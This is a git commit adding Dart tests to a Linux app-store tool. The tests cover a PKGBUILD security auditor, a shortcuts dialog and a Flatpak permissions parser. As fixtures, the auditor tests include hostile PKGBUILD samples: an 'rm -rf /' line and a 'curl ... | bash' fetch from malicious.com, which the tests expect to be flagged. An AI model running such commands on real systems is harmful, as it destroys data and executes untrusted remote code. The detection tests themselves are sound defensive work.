feat: Add AUR PKGBUILD audit, Reflector GUI, Flatpak permissions & shortcuts

This commit is contained in:
RarDog
2026-09-13 18:37:47 +03:00
parent e8c9d13cf1
commit cd6dd41552
12 changed files with 2183 additions and 14 deletions
+77
View File
@@ -0,0 +1,77 @@
import 'package:flutter_test/flutter_test.dart';
import 'package:forge/src/services/aur_pkgbuild_service.dart';
void main() {
group('AurPkgbuildService Audit Tests', () {
test('passes safe PKGBUILD with clean verdict', () {
const safePkgbuild = '''
# Maintainer: John Doe <john@example.com>
pkgname=hello-world
pkgver=1.0.0
pkgrel=1
arch=('x86_64')
source=("https://example.com/hello-world-1.0.0.tar.gz")
sha256sums=('SKIP')
build() {
cd "\$srcdir/\$pkgname-\$pkgver"
make
}
package() {
cd "\$srcdir/\$pkgname-\$pkgver"
make DESTDIR="\$pkgdir" install
}
''';
final result = AurPkgbuildService.audit(safePkgbuild);
expect(result.overallSeverity, SecuritySeverity.safe);
expect(result.isSafe, isTrue);
expect(result.issues, isEmpty);
});
test('detects dangerous rm -rf / command', () {
const maliciousPkgbuild = '''
pkgname=bad-actor
pkgver=1.0.0
package() {
rm -rf /
}
''';
final result = AurPkgbuildService.audit(maliciousPkgbuild);
expect(result.overallSeverity, SecuritySeverity.danger);
expect(result.hasDanger, isTrue);
expect(result.issues.any((i) => i.ruleName == 'destructive_command'), isTrue);
});
test('detects pipe to shell (curl | bash)', () {
const maliciousPkgbuild = '''
pkgname=untrusted-app
pkgver=1.0.0
build() {
curl -sSL https://malicious.com/install.sh | bash
}
''';
final result = AurPkgbuildService.audit(maliciousPkgbuild);
expect(result.overallSeverity, SecuritySeverity.danger);
expect(result.issues.any((i) => i.ruleName == 'pipe_to_shell'), isTrue);
});
test('detects warning for git clone inside build()', () {
const warningPkgbuild = '''
pkgname=git-puller
pkgver=1.0.0
build() {
git clone https://github.com/example/repo.git
}
''';
final result = AurPkgbuildService.audit(warningPkgbuild);
expect(result.overallSeverity, SecuritySeverity.warning);
expect(result.hasWarnings, isTrue);
expect(result.issues.any((i) => i.ruleName == 'network_in_build'), isTrue);
});
});
}
+20
View File
@@ -0,0 +1,20 @@
import 'package:flutter/material.dart';
import 'package:flutter_test/flutter_test.dart';
import 'package:macos_ui/macos_ui.dart';
import 'package:forge/src/ui/widgets/keyboard_shortcuts_dialog.dart';
void main() {
testWidgets('KeyboardShortcutsDialog renders all shortcuts', (tester) async {
await tester.pumpWidget(
const MacosApp(
home: Scaffold(
body: KeyboardShortcutsDialog(),
),
),
);
expect(find.text('Горячие клавиши Forge'), findsOneWidget);
expect(find.text('Быстрый поиск приложений (Spotlight)'), findsOneWidget);
expect(find.text('Понятно'), findsOneWidget);
});
}
@@ -0,0 +1,49 @@
import 'package:flutter_test/flutter_test.dart';
import 'package:forge/src/services/flatpak_permissions_service.dart';
void main() {
group('FlatpakPermissionsService Parser Tests', () {
test('parses basic permissions from manifest correctly', () {
const manifest = '''
[Application]
name=org.example.App
[Context]
shared=ipc;network;
sockets=pulseaudio;x11;
devices=dri;
filesystems=host;
''';
const overrides = '';
final perms = FlatpakPermissionsService.parsePermissions('org.example.App', manifest, overrides);
expect(perms.network, isTrue);
expect(perms.socketPulseaudio, isTrue);
expect(perms.socketX11, isTrue);
expect(perms.deviceDri, isTrue);
expect(perms.filesystemHost, isTrue);
expect(perms.filesystemHome, isTrue); // host implies home
expect(perms.hasOverrides, isFalse);
});
test('respects user overrides (disabling network and x11)', () {
const manifest = '''
[Context]
shared=ipc;network;
sockets=pulseaudio;x11;wayland;
''';
const overrides = '''
[Context]
shared=!network;
sockets=!x11;
''';
final perms = FlatpakPermissionsService.parsePermissions('org.example.App', manifest, overrides);
expect(perms.network, isFalse);
expect(perms.socketX11, isFalse);
expect(perms.socketWayland, isTrue);
expect(perms.socketPulseaudio, isTrue);
expect(perms.hasOverrides, isTrue);
});
});
}